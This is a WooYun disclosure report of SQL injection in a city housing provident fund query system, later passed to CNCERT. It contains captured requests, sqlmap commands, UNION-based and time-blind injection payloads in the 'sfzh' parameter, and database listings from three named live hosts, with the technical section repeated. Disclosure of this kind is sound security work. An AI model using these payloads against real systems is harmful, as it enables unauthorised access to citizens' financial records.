当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117257

漏洞标题:中央国家机关住房公积金网上查询系统存在注射漏洞可影响数据

相关厂商:中央国家机关住房公积金网上查询系统

漏洞作者: Msl

提交时间:2015-05-31 10:50

修复时间:2015-07-19 14:58

公开时间:2015-07-19 14:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-31: 细节已通知厂商并且等待厂商处理中
2015-06-04: 厂商已经确认,细节仅向厂商公开
2015-06-14: 细节向核心白帽子及相关领域专家公开
2015-06-24: 细节向普通白帽子公开
2015-07-04: 细节向实习白帽子公开
2015-07-19: 细节向公众公开

简要描述:

中央国家机关住房公积金网上查询系统各市通杀漏洞,经测试所有站点程序一样,各个城市都可通杀

详细说明:

中央国家机关住房公积金网上查询系统各市通杀漏洞,经测试所有站点程序一样,各个城市都可通杀
测试了几个,然后看了别的城市的,站点程序都一样,没敢深入,没背景唉……
百度搜索“中央国家机关住房资金管理中心-网站查询”

4.png


第一个:http://wscx.hljszgjj.com/

1.png


抓包跑

GET /zfbzgl/zfbzsq/login_hidden.jsp?password=111111&sfzh=11111111&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8 HTTP/1.1
Host: wscx.hljszgjj.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Referer: http://wscx.hljszgjj.com/zfbzgl/zfbzsq/login.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=Vp7j2D8s1dnTXTw2RPNfwqTf8H0KVnTvLdXJvbbyyWm9yvHzHZpf!907198866


root@kali-linux:~# sqlmap -r /root/Desktop/3 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150506}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 04:13:08
/root/Desktop/3
[04:13:08] [INFO] parsing HTTP request from '/root/Desktop/3'
/root/Desktop/3
[04:13:08] [INFO] resuming back-end DBMS 'microsoft sql server unknown'
[04:13:08] [INFO] testing connection to the target URL
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in futher requests? [Y/n]
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sfzh (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: password=111111&sfzh=11111111' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(119)+CHAR(105)+CHAR(73)+CHAR(71)+CHAR(87)+CHAR(100)+CHAR(78)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(112)+CHAR(98)+CHAR(113),NULL,NULL,NULL-- &cxyd=%B5%B1%C7%B0%C4%EA%B6%C8
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: password=111111&sfzh=11111111' WAITFOR DELAY '0:0:5'--&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8
---
[04:13:09] [INFO] testing Microsoft SQL Server
[04:13:09] [INFO] confirming Microsoft SQL Server
[04:13:10] [WARNING] reflective value(s) found and filtering out
[04:13:10] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server Unknown
[04:13:10] [INFO] fetching database names
[04:13:10] [INFO] the SQL query used returns 40 entries
[04:13:12] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[04:13:12] [INFO] fetching number of databases
[04:13:12] [INFO] retrieved:
[04:13:12] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[04:13:13] [ERROR] unable to retrieve the number of databases
available databases [38]:
[*] cw0001
[*] cw0001_2006
[*] cw0001_2007
[*] cw0001_2008
[*] cw0001_2009
[*] cw0001_2010
[*] cw0001_2011
[*] cw0001_2012
[*] cw0001_2013
[*] cw0001_2014
[*] cw0001cs
[*] cw0002
[*] cw0002_2006
[*] cw0002_2007
[*] cw0002_2008
[*] cw0002_2009
[*] cw0002_2010
[*] cw0002_2011
[*] cw0002_2012
[*] cw0002_2013
[*] cw0002_2014
[*] gjjmx12
[*] gjjmx12_2004_2005
[*] gjjmx12_2005_2006
[*] gjjmx12_2006_2007
[*] gjjmx12_2007_2008
[*] gjjmx12_2008_2009
[*] gjjmx12_2009_2010
[*] gjjmx12_2010_2011
[*] gjjmx12_2011_2012
[*] gjjmx12_2012_2013
[*] gjjmx12_2013_2014
[*] gjjmxcs
[*] jtpcw
[*] jtpcwcs
[*] master
[*] model
[*] tempdb
[04:13:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/wscx.hljszgjj.com'
[*] shutting down at 04:13:13


--------------------
第二个:http://www.hczfgjj.com/wscx/zfbzgl/zfbzsq/login.jsp

2.png


GET /wscx/zfbzgl/zfbzsq/login_hidden.jsp?password=111111&sfzh=1111111&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh= HTTP/1.1
Host: www.hczfgjj.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Referer: http://www.hczfgjj.com/wscx/zfbzgl/zfbzsq/login.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=VqgjC2C9ymsnGK7N97FyWyN80LBt2n4KMtP4pTr29cJp4WBYB01L!-2079413767


root@kali-linux:~/.sqlmap/output# sqlmap -r /root/Desktop/1 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150506}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 04:51:32
/root/Desktop/1
[04:51:32] [INFO] parsing HTTP request from '/root/Desktop/1'
/root/Desktop/1
[04:51:33] [WARNING] provided value for parameter 'zgzh' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[04:51:33] [INFO] resuming back-end DBMS 'microsoft sql server unknown'
[04:51:33] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sfzh (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: password=111111&sfzh=1111111' UNION ALL SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(83)+CHAR(115)+CHAR(105)+CHAR(116)+CHAR(75)+CHAR(75)+CHAR(78)+CHAR(75)+CHAR(87)+CHAR(108)+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(107)+CHAR(113),NULL,NULL,NULL-- &cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: password=111111&sfzh=1111111' WAITFOR DELAY '0:0:5'--&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh=
---
[04:51:33] [INFO] testing Microsoft SQL Server
[04:51:33] [INFO] confirming Microsoft SQL Server
[04:51:34] [WARNING] reflective value(s) found and filtering out
[04:51:34] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server Unknown
[04:51:34] [INFO] fetching database names
[04:51:34] [INFO] the SQL query used returns 10 entries
[04:51:37] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[04:51:37] [INFO] fetching number of databases
[04:51:37] [WARNING] time-based comparison requires larger statistical model, please wait................
[04:51:42] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[04:51:42] [ERROR] unable to retrieve the number of databases
available databases [8]:
[*] gjjmx
[*] gjjmx12
[*] gjjmx12_zgkl
[*] master
[*] model
[*] sybmgmtdb
[*] tempdb
[*] wz
[04:51:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.hczfgjj.com'
[*] shutting down at 04:51:42


----------------------------
第三个:http://www.hhgjj.net/wscx/zfbzgl/zfbzsq/login.jsp

3.png


GET /wscx/zfbzgl/zfbzsq/login_hidden.jsp?password=111111&sfzh=1111111&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh= HTTP/1.1
Host: www.hhgjj.net
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Referer: http://www.hhgjj.net/wscx/zfbzgl/zfbzsq/login.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=VqhMn817QTymvJvBKGVyG88WndkqJy6JXYyH8pmvtk4G1PBfk6Vj!-182217045


root@kali-linux:~/.sqlmap/output# sqlmap -r /root/Desktop/email --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150506}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 05:05:26
/root/Desktop/email
[05:05:26] [INFO] parsing HTTP request from '/root/Desktop/email'
/root/Desktop/email
[05:05:26] [WARNING] provided value for parameter 'zgzh' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[05:05:26] [INFO] resuming back-end DBMS 'microsoft sql server unknown'
[05:05:26] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sfzh (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: password=111111&sfzh=1111111' UNION ALL SELECT NULL,CHAR(113)+CHAR(112)+CHAR(118)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(83)+CHAR(69)+CHAR(115)+CHAR(72)+CHAR(119)+CHAR(90)+CHAR(110)+CHAR(118)+CHAR(74)+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(120)+CHAR(113),NULL,NULL-- &cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: password=111111&sfzh=1111111' WAITFOR DELAY '0:0:5'--&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh=
---
[05:05:27] [INFO] testing Microsoft SQL Server
[05:05:27] [INFO] confirming Microsoft SQL Server
[05:05:27] [WARNING] reflective value(s) found and filtering out
[05:05:27] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server Unknown
[05:05:27] [INFO] fetching database names
[05:05:27] [INFO] the SQL query used returns 39 entries
[05:05:39] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[05:05:39] [INFO] fetching number of databases
[05:05:39] [INFO] retrieved:
[05:05:39] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[05:05:40] [ERROR] unable to retrieve the number of databases
available databases [37]:
[*] cw0001
[*] cw0001_2007
[*] cw0001_2008
[*] cw0001_2009
[*] cw0001_2010
[*] cw0001_2011
[*] cw0001_2012
[*] cw0001_2013
[*] cw0001_2014
[*] cw0001_cs
[*] cw0002
[*] cw0002_2007
[*] cw0002_2008
[*] cw0002_2009
[*] cw0002_2010
[*] cw0002_2011
[*] cw0002_2012
[*] cw0002_2013
[*] cw0002_2014
[*] gjjmx12
[*] gjjmx12_2007_2008
[*] gjjmx12_2008_2009
[*] gjjmx12_2009_2010
[*] gjjmx12_2010_2011
[*] gjjmx12_2011_2012
[*] gjjmx12_2012_2013
[*] gjjmx12_2013_2014
[*] gjjmx12_heihels
[*] gjjmx13
[*] gjjmxcs
[*] gjjweb
[*] jtpcw
[*] jtpcw_cs
[*] master
[*] model
[*] tempdb
[*] wxcs
[05:05:40] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.hhgjj.net'
[*] shutting down at 05:05:40
root@kali-linux:~/.sqlmap/output#

漏洞证明:

中央国家机关住房公积金网上查询系统各市通杀漏洞,经测试所有站点程序一样,各个城市都可通杀
测试了几个,然后看了别的城市的,站点程序都一样,没敢深入,没背景唉……
百度搜索“中央国家机关住房资金管理中心-网站查询”

4.png


第一个:http://wscx.hljszgjj.com/

1.png


抓包跑

GET /zfbzgl/zfbzsq/login_hidden.jsp?password=111111&sfzh=11111111&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8 HTTP/1.1
Host: wscx.hljszgjj.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Referer: http://wscx.hljszgjj.com/zfbzgl/zfbzsq/login.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=Vp7j2D8s1dnTXTw2RPNfwqTf8H0KVnTvLdXJvbbyyWm9yvHzHZpf!907198866


root@kali-linux:~# sqlmap -r /root/Desktop/3 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150506}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 04:13:08
/root/Desktop/3
[04:13:08] [INFO] parsing HTTP request from '/root/Desktop/3'
/root/Desktop/3
[04:13:08] [INFO] resuming back-end DBMS 'microsoft sql server unknown'
[04:13:08] [INFO] testing connection to the target URL
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in futher requests? [Y/n]
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sfzh (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: password=111111&sfzh=11111111' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(119)+CHAR(105)+CHAR(73)+CHAR(71)+CHAR(87)+CHAR(100)+CHAR(78)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(112)+CHAR(98)+CHAR(113),NULL,NULL,NULL-- &cxyd=%B5%B1%C7%B0%C4%EA%B6%C8
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: password=111111&sfzh=11111111' WAITFOR DELAY '0:0:5'--&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8
---
[04:13:09] [INFO] testing Microsoft SQL Server
[04:13:09] [INFO] confirming Microsoft SQL Server
[04:13:10] [WARNING] reflective value(s) found and filtering out
[04:13:10] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server Unknown
[04:13:10] [INFO] fetching database names
[04:13:10] [INFO] the SQL query used returns 40 entries
[04:13:12] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[04:13:12] [INFO] fetching number of databases
[04:13:12] [INFO] retrieved:
[04:13:12] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[04:13:13] [ERROR] unable to retrieve the number of databases
available databases [38]:
[*] cw0001
[*] cw0001_2006
[*] cw0001_2007
[*] cw0001_2008
[*] cw0001_2009
[*] cw0001_2010
[*] cw0001_2011
[*] cw0001_2012
[*] cw0001_2013
[*] cw0001_2014
[*] cw0001cs
[*] cw0002
[*] cw0002_2006
[*] cw0002_2007
[*] cw0002_2008
[*] cw0002_2009
[*] cw0002_2010
[*] cw0002_2011
[*] cw0002_2012
[*] cw0002_2013
[*] cw0002_2014
[*] gjjmx12
[*] gjjmx12_2004_2005
[*] gjjmx12_2005_2006
[*] gjjmx12_2006_2007
[*] gjjmx12_2007_2008
[*] gjjmx12_2008_2009
[*] gjjmx12_2009_2010
[*] gjjmx12_2010_2011
[*] gjjmx12_2011_2012
[*] gjjmx12_2012_2013
[*] gjjmx12_2013_2014
[*] gjjmxcs
[*] jtpcw
[*] jtpcwcs
[*] master
[*] model
[*] tempdb
[04:13:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/wscx.hljszgjj.com'
[*] shutting down at 04:13:13


--------------------
第二个:http://www.hczfgjj.com/wscx/zfbzgl/zfbzsq/login.jsp

2.png


GET /wscx/zfbzgl/zfbzsq/login_hidden.jsp?password=111111&sfzh=1111111&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh= HTTP/1.1
Host: www.hczfgjj.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Referer: http://www.hczfgjj.com/wscx/zfbzgl/zfbzsq/login.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=VqgjC2C9ymsnGK7N97FyWyN80LBt2n4KMtP4pTr29cJp4WBYB01L!-2079413767


root@kali-linux:~/.sqlmap/output# sqlmap -r /root/Desktop/1 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150506}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 04:51:32
/root/Desktop/1
[04:51:32] [INFO] parsing HTTP request from '/root/Desktop/1'
/root/Desktop/1
[04:51:33] [WARNING] provided value for parameter 'zgzh' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[04:51:33] [INFO] resuming back-end DBMS 'microsoft sql server unknown'
[04:51:33] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sfzh (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: password=111111&sfzh=1111111' UNION ALL SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(83)+CHAR(115)+CHAR(105)+CHAR(116)+CHAR(75)+CHAR(75)+CHAR(78)+CHAR(75)+CHAR(87)+CHAR(108)+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(107)+CHAR(113),NULL,NULL,NULL-- &cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: password=111111&sfzh=1111111' WAITFOR DELAY '0:0:5'--&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh=
---
[04:51:33] [INFO] testing Microsoft SQL Server
[04:51:33] [INFO] confirming Microsoft SQL Server
[04:51:34] [WARNING] reflective value(s) found and filtering out
[04:51:34] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server Unknown
[04:51:34] [INFO] fetching database names
[04:51:34] [INFO] the SQL query used returns 10 entries
[04:51:37] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[04:51:37] [INFO] fetching number of databases
[04:51:37] [WARNING] time-based comparison requires larger statistical model, please wait................
[04:51:42] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[04:51:42] [ERROR] unable to retrieve the number of databases
available databases [8]:
[*] gjjmx
[*] gjjmx12
[*] gjjmx12_zgkl
[*] master
[*] model
[*] sybmgmtdb
[*] tempdb
[*] wz
[04:51:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.hczfgjj.com'
[*] shutting down at 04:51:42


----------------------------
第三个:http://www.hhgjj.net/wscx/zfbzgl/zfbzsq/login.jsp

3.png


GET /wscx/zfbzgl/zfbzsq/login_hidden.jsp?password=111111&sfzh=1111111&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh= HTTP/1.1
Host: www.hhgjj.net
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Referer: http://www.hhgjj.net/wscx/zfbzgl/zfbzsq/login.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=VqhMn817QTymvJvBKGVyG88WndkqJy6JXYyH8pmvtk4G1PBfk6Vj!-182217045


root@kali-linux:~/.sqlmap/output# sqlmap -r /root/Desktop/email --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150506}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 05:05:26
/root/Desktop/email
[05:05:26] [INFO] parsing HTTP request from '/root/Desktop/email'
/root/Desktop/email
[05:05:26] [WARNING] provided value for parameter 'zgzh' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[05:05:26] [INFO] resuming back-end DBMS 'microsoft sql server unknown'
[05:05:26] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sfzh (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: password=111111&sfzh=1111111' UNION ALL SELECT NULL,CHAR(113)+CHAR(112)+CHAR(118)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(83)+CHAR(69)+CHAR(115)+CHAR(72)+CHAR(119)+CHAR(90)+CHAR(110)+CHAR(118)+CHAR(74)+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(120)+CHAR(113),NULL,NULL-- &cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: password=111111&sfzh=1111111' WAITFOR DELAY '0:0:5'--&cxyd=%B5%B1%C7%B0%C4%EA%B6%C8&zgzh=
---
[05:05:27] [INFO] testing Microsoft SQL Server
[05:05:27] [INFO] confirming Microsoft SQL Server
[05:05:27] [WARNING] reflective value(s) found and filtering out
[05:05:27] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server Unknown
[05:05:27] [INFO] fetching database names
[05:05:27] [INFO] the SQL query used returns 39 entries
[05:05:39] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[05:05:39] [INFO] fetching number of databases
[05:05:39] [INFO] retrieved:
[05:05:39] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[05:05:40] [ERROR] unable to retrieve the number of databases
available databases [37]:
[*] cw0001
[*] cw0001_2007
[*] cw0001_2008
[*] cw0001_2009
[*] cw0001_2010
[*] cw0001_2011
[*] cw0001_2012
[*] cw0001_2013
[*] cw0001_2014
[*] cw0001_cs
[*] cw0002
[*] cw0002_2007
[*] cw0002_2008
[*] cw0002_2009
[*] cw0002_2010
[*] cw0002_2011
[*] cw0002_2012
[*] cw0002_2013
[*] cw0002_2014
[*] gjjmx12
[*] gjjmx12_2007_2008
[*] gjjmx12_2008_2009
[*] gjjmx12_2009_2010
[*] gjjmx12_2010_2011
[*] gjjmx12_2011_2012
[*] gjjmx12_2012_2013
[*] gjjmx12_2013_2014
[*] gjjmx12_heihels
[*] gjjmx13
[*] gjjmxcs
[*] gjjweb
[*] jtpcw
[*] jtpcw_cs
[*] master
[*] model
[*] tempdb
[*] wxcs
[05:05:40] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.hhgjj.net'
[*] shutting down at 05:05:40
root@kali-linux:~/.sqlmap/output#

修复方案:

俺小白不懂

版权声明:转载请注明来源 Msl@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-06-04 14:56

厂商回复:

CNVD确认并复现所述情况,将相关案例下发给对应的CNCERT分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-31 10:53 | Catsay ( 实习白帽子 | Rank:85 漏洞数:16 | 屌丝一枚)

    哇塞塞 话说是什么